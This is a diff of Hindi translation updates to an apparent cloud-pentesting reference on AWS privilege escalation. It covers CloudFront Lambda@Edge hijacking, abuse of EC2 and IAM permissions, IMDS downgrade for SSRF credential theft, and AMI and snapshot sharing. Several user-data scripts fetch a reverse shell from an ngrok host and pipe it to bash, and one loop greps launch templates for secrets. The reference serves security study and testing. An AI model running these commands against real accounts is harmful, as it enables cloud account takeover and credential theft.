--function-name malicious-lambda-edge \
|
||||
--runtime nodejs18.x \
|
||||
--role <privileged-role-arn> \
|
||||
--handler malicious-lambda-edge.handler \
|
||||
--zip-file fileb://malicious-lambda-edge.zip \
|
||||
--region <region>
|
||||
|
||||
# फ़ंक्शन का एक संस्करण प्रकाशित करें
|
||||
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
|
||||
```
|
||||
|
||||
Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
|
||||
|
||||
```bash
|
||||
"LambdaFunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
|
||||
"EventType": "viewer-response",
|
||||
"IncludeBody": false
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# अपडेट की गई distribution config लागू करें (मौजूदा ETag का उपयोग ज़रूरी है)
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
|
||||
# distribution को request करके function को trigger करें
|
||||
curl -v https://<distribution-domain>.cloudfront.net/
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -12,19 +12,19 @@
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
एक attacker **IAM role attach करके एक instance बना सकता है और फिर instance में access कर सकता है** ताकि वह metadata endpoint से IAM role credentials चुरा सके।
|
||||
एक attacker **IAM role attach करके एक instance बनाकर और फिर उस instance तक पहुँच कर** IAM role credentials को metadata endpoint से चुरा सकता है।
|
||||
|
||||
- **Access via SSH**
|
||||
- **SSH के माध्यम से पहुँच**
|
||||
|
||||
एक नया instance चलाएँ जो **पहले से बनाई गई** **ssh key** (`--key-name`) का उपयोग करता हो और फिर उसमें ssh करें (यदि आप नया बनाना चाहते हैं तो आपको permission `ec2:CreateKeyPair` की आवश्यकता हो सकती है)।
|
||||
एक नया instance चलाएँ **created** **ssh key** (`--key-name`) का उपयोग करके और फिर उसमें ssh करें (यदि आप नया key बनाना चाहते हैं तो आपको permission `ec2:CreateKeyPair` की आवश्यकता हो सकती है)।
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
--security-group-ids <sg-id>
|
||||
```
|
||||
- **rev shell के जरिए user data में पहुँच**
|
||||
- **user data में rev shell के जरिए एक्सेस**
|
||||
|
||||
आप **user data** (`--user-data`) का उपयोग करके एक नया instance चला सकते हैं जो आपको **rev shell** भेजेगा। इस तरीके से आपको security group निर्दिष्ट करने की जरूरत नहीं है।
|
||||
आप **user data** (`--user-data`) का उपयोग करके एक नया instance चला सकते हैं जो आपको **rev shell** भेजेगा। इस तरीके से आपको security group निर्दिष्ट करने की आवश्यकता नहीं है।
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance:
|
||||
यदि आप instance के बाहर IAM role के credentials का उपयोग करते हैं तो GuradDuty के साथ सावधान रहें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**संभावित प्रभाव:** मौजूदा instance profiles से जुड़े किसी भी EC2 role पर सीधे privesc हो सकता है।
|
||||
**Potential Impact:** मौजूदा instance profiles से जुड़े किसी भी EC2 role पर Direct privesc।
|
||||
|
||||
#### Privesc to ECS
|
||||
|
||||
इन permissions के सेट के साथ आप **create an EC2 instance and register it inside an ECS cluster** भी कर सकते हैं। इस तरह, ECS **services** उस **EC2 instance** में **run** होंगे जहाँ आपका access होगा और आप उन services (docker containers) में penetrate करके उनके संलग्न **ECS roles** को **steal** कर सकते हैं।
|
||||
इन permissions के साथ आप **एक EC2 instance बना कर उसे ECS cluster के अंदर register भी कर सकते हैं**। इस तरह, ECS **services** उन **EC2 instance** के अंदर **run** होंगी जिनमें आपकी access होगी और आप उन services (docker containers) में penetrate करके उनके attached **ECS roles** चुरा सकते हैं।
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,20 +59,20 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
इस नए EC2 instance पर **ECS services को जबरदस्ती चलवाने** का तरीका जानने के लिए देखें:
|
||||
जानने के लिए कि इस नए EC2 instance में **ECS services को कैसे बलपूर्वक चलाया जाए** देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
यदि आप **नया instance नहीं बना सकते** लेकिन आपके पास permission `ecs:RegisterContainerInstance` है, तो आप instance को cluster के अंदर register करके टिप्पणी किए गए attack को अंजाम दे सकते हैं।
|
||||
यदि आप **नई instance नहीं बना सकते** लेकिन आपके पास अनुमति `ecs:RegisterContainerInstance` है तो आप संभवतः उस instance को cluster के अंदर register कर सकेंगे और टिप्पणी किए गए attack को अंजाम दे सकेंगे।
|
||||
|
||||
**Potential Impact:** Tasks से जुड़े ECS roles पर direct privesc.
|
||||
**संभावित प्रभाव:** tasks से जुड़ी ECS roles पर सीधे privesc।
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
पिछले परिदृश्य की तरह, इन permissions वाले attacker एक compromised instance का **IAM role बदल** सकते हैं ताकि वह नए credentials चुरा सके।\
|
||||
चूँकि एक instance profile में केवल 1 role हो सकता है, अगर instance profile के पास **पहले से एक role है** (आम मामला), तो आपको साथ ही **`iam:RemoveRoleFromInstanceProfile`** की आवश्यकता भी होगी।
|
||||
पिछले परिदृश्य के समान, इन permissions वाले attacker एक compromised instance का **IAM role बदल** सकते हैं ताकि वह नए credentials चुरा सके।\
|
||||
चूँकि एक instance profile के पास केवल 1 role हो सकता है, अगर instance profile **पहले से ही एक role है** (आम स्थिति), तो आपको **`iam:RemoveRoleFromInstanceProfile`** की भी आवश्यकता होगी।
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
यदि **instance profile has a role** और attacker इसे **cannot remove it**, तो एक और workaround मौजूद है। वह **find** कर सकता है एक **instance profile without a role** या **create a new one** (`iam:CreateInstanceProfile`), उस **instance profile** में वह **role** को **add** कर सकता है (जैसा पहले चर्चा की गई थी), और **associate the instance profile** compromised to a compromised i**nstance:**
|
||||
यदि **instance profile has a role** और हमलावर **cannot remove it**, तो एक और workaround है। वह **find** कर सकता है एक **instance profile without a role** या **create a new one** (`iam:CreateInstanceProfile`), फिर उस **instance profile** में **add** करके **role** जोड़ सकता है (जैसा पहले चर्चा किया गया है), और समझौता किए गए **instance profile** को समझौता किए गए i**nstance:** से **associate the instance profile** कर सकता है:
|
||||
|
||||
- यदि instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
|
||||
**Potential Impact:** Direct privesc to a different EC2 role (आपको पहले से compromised AWS EC2 instance पर पहुँच होना चाहिए और कुछ अतिरिक्त permission या specific instance profile स्थिति की आवश्यकता होगी).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it.
|
||||
इन permissions के साथ किसी instance से जुड़ा instance profile बदलना संभव है, इसलिए यदि attacker के पास पहले से किसी instance तक पहुँच है तो वह उससे जुड़ा instance profile बदलकर और अधिक instance profile roles के credentials चुरा सकेगा।
|
||||
|
||||
- अगर इसमें **instance profile** है, तो आप instance profile को **हटा** (`ec2:DisassociateIamInstanceProfile`) और उसे **जोड़** सकते हैं
|
||||
- यदि इसमें **instance profile** है, आप **instance profile** को हटाकर (`ec2:DisassociateIamInstanceProfile`) और **associate** कर सकते हैं
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- या compromised instance का **instance profile** **replace** करें (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- या **replace** करें compromised instance का **instance profile** (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**संभावित प्रभाव:** Direct privesc to a different EC2 role (आपके पास पहले से compromised एक AWS EC2 instance होना चाहिए और कुछ अतिरिक्त permission या specific instance profile status की आवश्यकता है).
|
||||
**संभावित प्रभाव:** किसी अन्य EC2 role पर सीधा privesc (इसके लिए आपके पास compromised एक AWS EC2 instance और कुछ अतिरिक्त अनुमति या specific instance profile status होना चाहिए).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
ऐसी permissions वाले हमलावर **`ec2:RequestSpotInstances`and`iam:PassRole`** के साथ एक **Spot Instance** request कर सकते हैं जिसमें **EC2 Role attached** हो और **user data** में एक **rev shell** हो.\
|
||||
एक बार instance चलने के बाद, वह **IAM role चुरा सकता है**.
|
||||
जिसके पास permissions **`ec2:RequestSpotInstances` और `iam:PassRole`** हों, वह **request** कर सकता है एक **Spot Instance** जिसमें **EC2 Role attached** हो और **rev shell** **user data** में हो।\
|
||||
जब instance चल जाएगा, तो वह **IAM role** को चुरा सकता है।
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
एक हमलावर जिसके पास **`ec2:ModifyInstanceAttribute`** है, वह instance के attributes बदल सकता है। इनमें से वह **change the user data** कर सकता है, जिसका मतलब है कि वह instance को **run arbitrary data.** करने के लिए कॉन्फ़िगर कर सकता है। इसका उपयोग EC2 instance पर एक **rev shell** प्राप्त करने के लिए किया जा सकता है।
|
||||
एक हमलावर जिसके पास **`ec2:ModifyInstanceAttribute`** अनुमति है, वह instance के attributes को बदल सकता है। इनमें से वह **change the user data** कर सकता है, जिसका अर्थ है कि वह instance पर मनमाना डेटा चला सकता है। इसका उपयोग करके वह **rev shell to the EC2 instance** प्राप्त कर सकता है।
|
||||
|
||||
ध्यान दें कि ये attributes केवल तभी **modified** किए जा सकते हैं जब instance stopped हो, इसलिए ज़रूरी **permissions** **`ec2:StopInstances`** और **`ec2:StartInstances`** हैं।
|
||||
ध्यान दें कि ये attributes केवल तब ही बदले जा सकते हैं जब instance बंद (stopped) हो, इसलिए आवश्यक permissions हैं **`ec2:StopInstances`** और **`ec2:StartInstances`**।
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Potential Impact:** किसी बनाए गए instance से जुड़े किसी भी EC2 IAM Role पर सीधे privesc।
|
||||
**संभावित प्रभाव:** किसी बनाए गए instance से जुड़ी किसी भी EC2 IAM Role पर सीधे privesc।
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
एक attacker जिसके पास permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** हों, वह एक **नया Launch Template version** बना सकता है जिसमें **rev shell in** the **user data** और उस पर **any EC2 IAM Role on it** रखा जा सकता है, डिफ़ॉल्ट version बदल सकता है, और कोई भी **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or **the default version** उस template का उपयोग करके instances को **re-run the instances** करेगा और rev shell execute हो जाएगा।
|
||||
एक attacker जिनके पास permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** हों, वे एक **new Launch Template version** बना सकते हैं जिसमें **rev shell in** the **user data** और उस पर **any EC2 IAM Role on it** शामिल किया जा सकता है, default version बदल सकते हैं, और कोई भी **any Autoscaler group** **using** that **Launch Templat**e जो **configured** है to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**संभावित प्रभाव:** किसी दूसरे EC2 role पर सीधे privesc।
|
||||
**संभावित प्रभाव:** Direct privesc to a different EC2 role.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
ऐसा attacker जिसके पास permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हों, वह **Launch Configuration बना सकता है** जिसमें एक **IAM Role** और एक **rev shell** **user data** में हो, फिर वह उस config से **autoscaling group बना कर** rev shell द्वारा **IAM Role चुराने** का इंतज़ार कर सकता है।
|
||||
उन अनुमतियों वाले हमलावर **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** के साथ एक **Launch Configuration** बना सकता है जिसमें एक **IAM Role** और एक **rev shell** **user data** के अंदर हो, फिर उस config से एक **autoscaling group** बनाकर rev shell के द्वारा **IAM Role** को चुरा लेने का इंतजार कर सकता है।
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**संभावित प्रभाव:** किसी दूसरे EC2 role पर सीधे privesc।
|
||||
**संभावित प्रभाव:** एक अलग EC2 role पर सीधे privesc।
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
`ec2:CreateLaunchTemplate` और `autoscaling:CreateAutoScalingGroup` **permissions का सेट IAM role तक privileges escalate करने के लिए पर्याप्त नहीं है** क्योंकि Launch Configuration या Launch Template में निर्दिष्ट role को attach करने के लिए आपको `iam:PassRole` और `ec2:RunInstances` permissions की आवश्यकता होती है (जो एक ज्ञात privesc है)।
|
||||
Permissions का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **किसी IAM role पर privileges escalate करने के लिए पर्याप्त नहीं हैं** क्योंकि Launch Configuration या Launch Template में specified role को attach करने के लिए **आपको permissions `iam:PassRole` और `ec2:RunInstances` की आवश्यकता होती है** (जो एक जाना हुआ privesc है)।
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
एक attacker जिसके पास permission **`ec2-instance-connect:SendSSHPublicKey`** है, वह किसी user में एक ssh key जोड़ सकता है और (यदि उसके पास instance का ssh access है) इसका उपयोग access के लिए या privileges escalate करने के लिए कर सकता है।
|
||||
एक हमलावर जिसके पास permission **`ec2-instance-connect:SendSSHPublicKey`** है, किसी user के लिए एक ssh key जोड़ सकता है और इसका उपयोग उस instance में प्रवेश करने के लिए कर सकता है (यदि उसके पास instance का ssh access है) या privileges escalate करने के लिए।
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**संभावित प्रभाव:** Direct privesc to the EC2 IAM roles attached to running instances.
|
||||
**Potential Impact:** चल रहे instances से जुड़े EC2 IAM roles तक सीधे privesc।
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
जिस attacker के पास permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** है, वह **serial connection में एक ssh key जोड़ सकता है**। अगर serial सक्षम नहीं है, तो attacker को इसे सक्षम करने के लिए अनुमति **`ec2:EnableSerialConsoleAccess`** चाहिए।
|
||||
किसी हमलावर के पास अनुमति **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** होने पर वह **serial connection में एक ssh key जोड़ सकता है**। यदि serial सक्षम नहीं है, तो हमलावर को इसे सक्षम करने के लिए अनुमति **`ec2:EnableSerialConsoleAccess`** चाहिए।
|
||||
|
||||
serial port से कनेक्ट करने के लिए आपको मशीन के अंदर किसी उपयोगकर्ता का **username और password** भी जानना होगा।
|
||||
serial port से कनेक्ट करने के लिए आपको मशीन के अंदर किसी user का **username और password** भी **जानना होगा**।
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
यह तरीका privesc के लिए उतना उपयोगी नहीं है क्योंकि इसे exploit करने के लिए आपको username और password पता होना चाहिए।
|
||||
यह तरीका privesc के लिए इतना उपयोगी नहीं है क्योंकि इसे exploit करने के लिए आपको एक username और password जानना होगा।
|
||||
|
||||
**Potential Impact:** (Highly unprovable) रनिंग instances से जुड़े EC2 IAM roles पर direct privesc।
|
||||
**Potential Impact:** (साबित करना बहुत कठिन) EC2 IAM roles पर सीधा privesc जो running instances से जुड़े हैं।
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
चूंकि launch templates में versioning होता है, इसलिए एक attacker जिसके पास **`ec2:describe-launch-templates`** और **`ec2:describe-launch-template-versions`** permissions हों, वे इन्हें exploit करके sensitive जानकारी खोज सकते हैं, जैसे user data में मौजूद credentials. इसे करने के लिए, नीचे दिया गया script उपलब्ध launch templates के सभी versions के माध्यम से loop करता है:
|
||||
चूंकि launch templates में versioning होता है, एक attacker जिसके पास **`ec2:describe-launch-templates`** और **`ec2:describe-launch-template-versions`** permissions हों, वे इन्हें exploit करके sensitive जानकारी खोज सकते हैं, जैसे user data में मौजूद credentials। इसे करने के लिए, निम्न script उपलब्ध launch templates के सभी versions के माध्यम से loop करता है:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -248,9 +248,9 @@ echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
done
|
||||
```
|
||||
ऊपर दिए गए कमांड्स में, हालांकि हम कुछ पैटर्न (`aws_|password|token|api`) निर्दिष्ट कर रहे हैं, आप अन्य प्रकार की संवेदनशील जानकारी खोजने के लिए अलग regex का उपयोग कर सकते हैं।
|
||||
ऊपर दिए गए commands में, यद्यपि हम कुछ पैटर्न (`aws_|password|token|api`) निर्दिष्ट कर रहे हैं, आप अन्य प्रकार की sensitive information खोजने के लिए अलग regex का उपयोग कर सकते हैं।
|
||||
|
||||
मान लेते हैं कि हमें `aws_access_key_id` और `aws_secret_access_key` मिलते हैं, तो इन credentials का उपयोग करके हम AWS में authenticate कर सकते हैं।
|
||||
मान लें कि हमें `aws_access_key_id` और `aws_secret_access_key` मिल जाते हैं, तो हम इन credentials का उपयोग करके AWS में authenticate कर सकते हैं।
|
||||
|
||||
**संभावित प्रभाव:** Direct privilege escalation to IAM user(s).
|
||||
|
||||
@@ -258,14 +258,18 @@ done
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
|
||||
|
||||
पीड़ित EC2 instance पर `ec2:ModifyInstanceMetadataOptions` कॉल करने की क्षमता रखने वाला हमलावर IMDS सुरक्षा को कमजोर कर सकता है — IMDSv1 सक्षम करके (`HttpTokens=optional`) और `HttpPutResponseHopLimit` बढ़ाकर। इससे instance metadata endpoint उन सामान्य SSRF/proxy पाथ्स के माध्यम से पहुँच योग्य हो जाता है जो instance पर चलने वाले एप्लिकेशन से उपलब्ध होते हैं। अगर हमलावर ऐसे किसी एप्लिकेशन में SSRF trigger कर सके, तो वे instance profile credentials प्राप्त कर सकते हैं और उनके साथ pivot कर सकते हैं।
|
||||
एक attacker जिसके पास किसी victim EC2 instance पर `ec2:ModifyInstanceMetadataOptions` कॉल करने की क्षमता हो, वह IMDS सुरक्षा को कमजोर कर सकता है — IMDSv1 सक्षम करके (`HttpTokens=optional`) और `HttpPutResponseHopLimit` बढ़ाकर। इससे instance metadata endpoint उन सामान्य SSRF/proxy रास्तों के माध्यम से पहुंच योग्य हो जाता है जो उस instance पर चलने वाले applications से पहुँचते हैं। यदि attacker ऐसे किसी app में SSRF ट्रिगर कर सके, तो वह instance profile credentials निकाल सकता है और उनके साथ pivot कर सकता है।
|
||||
|
||||
- आवश्यक अनुमतियाँ: `ec2:ModifyInstanceMetadataOptions` लक्ष्य instance पर (साथ ही host पर SSRF तक पहुँचने/trigger करने की क्षमता)।
|
||||
- लक्षित संसाधन: चल रही EC2 instance जिसमें संलग्न instance profile (IAM role) हो।
|
||||
- आवश्यक permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (plus the ability to reach/trigger a SSRF on the host).
|
||||
- Target resource: चल रहा EC2 instance जिसमें attached instance profile (IAM role) हो।
|
||||
|
||||
कमांड उदाहरण:
|
||||
कमांड का उदाहरण:
|
||||
```bash
|
||||
# 1) Check current metadata settings
|
||||
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
|
||||
@@ -292,5 +296,28 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
संभावित प्रभाव: SSRF के माध्यम से instance profile credentials की चोरी, जो EC2 role permissions के साथ privilege escalation और lateral movement की ओर ले जाती है।
|
||||
संभावित प्रभाव: SSRF के माध्यम से instance profile क्रेडेंशियल्स की चोरी, जो EC2 role permissions के साथ privilege escalation और lateral movement का कारण बन सकती है।
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions`
|
||||
|
||||
ec2:ModifyInstanceMetadataOptions permission वाला attacker Instance Metadata Service (IMDS) की सुरक्षा कमजोर कर सकता है — उदाहरण के लिए IMDSv1 को मजबूर करके (HttpTokens required न बनाकर) या HttpPutResponseHopLimit बढ़ाकर — जिससे अस्थायी क्रेडेंशियल्स का exfiltration आसान हो जाता है। सबसे प्रासंगिक जोखिम वेक्टर HttpPutResponseHopLimit बढ़ाना है: उस hop limit (TTL) को बढ़ाने पर 169.254.169.254 endpoint VM के network namespace तक सख्ती से सीमित रहना बंद कर देता है और अन्य processes/containers द्वारा पहुँच योग्य हो सकता है, जिससे credentials की चोरी संभव हो जाती है।
|
||||
```bash
|
||||
aws ec2 modify-instance-metadata-options \
|
||||
--instance-id <INSTANCE_ID> \
|
||||
--http-tokens optional \
|
||||
--http-endpoint enabled \
|
||||
--http-put-response-hop-limit 2
|
||||
```
|
||||
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
|
||||
|
||||
ec2:ModifyImageAttribute और ec2:ModifySnapshotAttribute permissions वाले attacker अन्य AWS खातों के साथ AMIs या snapshots साझा कर सकते हैं (या उन्हें सार्वजनिक भी कर सकते हैं), जिससे images या volumes उजागर हो सकते हैं जिनमें configurations, credentials, certificates, या backups जैसे संवेदनशील डेटा हो सकते हैं। एक AMI की launch permissions या एक snapshot की create-volume permissions को संशोधित करके, attacker तृतीय पक्षों को उन resources से instances launch करने या disks mount करने और उनके contents तक पहुँचने की अनुमति देता है।
|
||||
|
||||
किसी अन्य खाते के साथ AMI साझा करने के लिए:
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
EBS snapshot को किसी अन्य खाते के साथ साझा करने के लिए:
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,64 +12,64 @@ IAM के बारे में अधिक जानकारी के ल
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
यह नई IAM policy version बनाने की क्षमता देता है, `iam:SetDefaultPolicyVersion` permission की आवश्यकता को `--set-as-default` फ्लैग का उपयोग करके बायपास करते हुए। यह कस्टम permissions परिभाषित करने की अनुमति देता है।
|
||||
नया IAM policy version बनाने की क्षमता प्रदान करता है, `iam:SetDefaultPolicyVersion` permission की आवश्यकता को `--set-as-default` flag का उपयोग करके बायपास करते हुए। यह कस्टम permissions को परिभाषित करने में सक्षम बनाता है।
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**प्रभाव:** किसी भी resource पर किसी भी action की अनुमति देकर सीधे privileges बढ़ा देता है।
|
||||
**प्रभाव:** किसी भी resource पर किसी भी action को अनुमति देकर सीधे privileges को escalate करता है।
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
IAM policy के default version को किसी अन्य मौजूदा version में बदलने की अनुमति देता है, जो नए version में अधिक permissions होने पर privileges escalate कर सकता है।
|
||||
यह किसी IAM policy के default version को किसी अन्य existing version में बदलने की अनुमति देता है, जो संभावित रूप से privileges को escalate कर सकता है यदि नए version में अधिक permissions हों।
|
||||
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**प्रभाव:** अधिक अनुमतियाँ सक्षम करने से अप्रत्यक्ष अधिकार वृद्धि।
|
||||
**प्रभाव:** अप्रत्यक्ष privilege escalation — अधिक permissions सक्षम करने से।
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
|
||||
यह किसी अन्य उपयोगकर्ता के लिए access key ID और secret access key बनाने की अनुमति देता है, जिससे संभावित अधिकार वृद्धि हो सकती है।
|
||||
किसी अन्य उपयोगकर्ता के लिए access key ID और secret access key बनाने की अनुमति देता है, जिससे संभावित privilege escalation हो सकता है।
|
||||
|
||||
**एक्सप्लॉइट:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**प्रभाव:** किसी अन्य उपयोगकर्ता की विस्तारित permissions को assume करके direct privilege escalation होता है।
|
||||
**प्रभाव:** किसी अन्य उपयोगकर्ता की विस्तारित अनुमतियाँ धारण करके Direct privilege escalation।
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
login profile बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS console लॉगिन के लिए पासवर्ड सेट करना शामिल है, जिससे direct privilege escalation हो सकता है।
|
||||
लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS console login के लिए पासवर्ड सेट करना शामिल है, जो direct privilege escalation की ओर ले जाता है।
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**अपडेट के लिए Exploit:**
|
||||
**Exploit अपडेट के लिए:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**प्रभाव:** सीधा privilege escalation "any" user के रूप में लॉगिन करके।
|
||||
**प्रभाव:** "any" user के रूप में लॉग इन करके सीधे privilege escalation.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
